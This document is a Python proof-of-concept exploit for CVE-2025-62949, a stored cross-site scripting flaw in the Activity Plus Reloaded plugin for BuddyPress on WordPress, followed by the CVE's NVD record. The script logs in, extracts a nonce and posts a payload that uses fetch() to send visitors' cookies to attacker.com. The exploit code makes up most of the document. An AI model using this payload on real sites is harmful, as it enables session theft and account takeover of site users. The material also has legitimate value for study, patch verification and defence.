CVE-2025-62949

import requests import re # CVE-2025-62949 PoC - Stored XSS in Activity Plus Reloaded # Target: WordPress site with BuddyPress and Activity Plus Reloaded plugin TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker" PASSWORD = "attacker_password" def login_and_get_nonce(): """Login to WordPress and extract security nonce""" session = requests.Session() login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET_URL}/wp-admin/", 'testcookie': '1' } response = session.post(login_url, data=login_data) # Extract nonce from BuddyPress activity form activity_nonce_url = f"{TARGET_URL}/activity/" activity_page = session.get(activity_nonce_url) nonce_match = re.search(r'name="_wpnonce" value="([a-z0-9]+)"', activity_page.text) if nonce_match: return session, nonce_match.group(1) return session, None def exploit_stored_xss(session, nonce): """Inject malicious XSS payload via activity post""" post_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" # XSS Payload - Cookie stealing xss_payload = '''<img src=x onerror=fetch('https://attacker.com/log?c='+document.cookie)>''' post_data = { 'action': 'bp_activity_post_update', '_wpnonce': nonce, 'content': xss_payload, '_wp_unfiltered_html_comment': '1' } response = session.post(post_url, data=post_data) print(f"XSS Payload injected: {response.status_code}") print(f"Response: {response.text}") return True if __name__ == "__main__": print("CVE-2025-62949 Stored XSS PoC") print("Target: Activity Plus Reloaded for BuddyPress <= 1.1.2") session, nonce = login_and_get_nonce() if nonce: exploit_stored_xss(session, nonce) else: print("Failed to obtain nonce")

{"cve": {"id": "CVE-2025-62949", "sourceIdentifier": "[email protected]", "published": "2025-10-27T02:15:55.280", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in BuddyDev Activity Plus Reloaded for BuddyPress bp-activity-plus-reloaded allows Stored XSS.This issue affects Activity Plus Reloaded for BuddyPress: from n/a through <= 1.1.2."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/bp-activity-plus-reloaded/vulnerability/wordpress-activity-plus-reloaded-for-buddypress-plugin-1-1-2-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}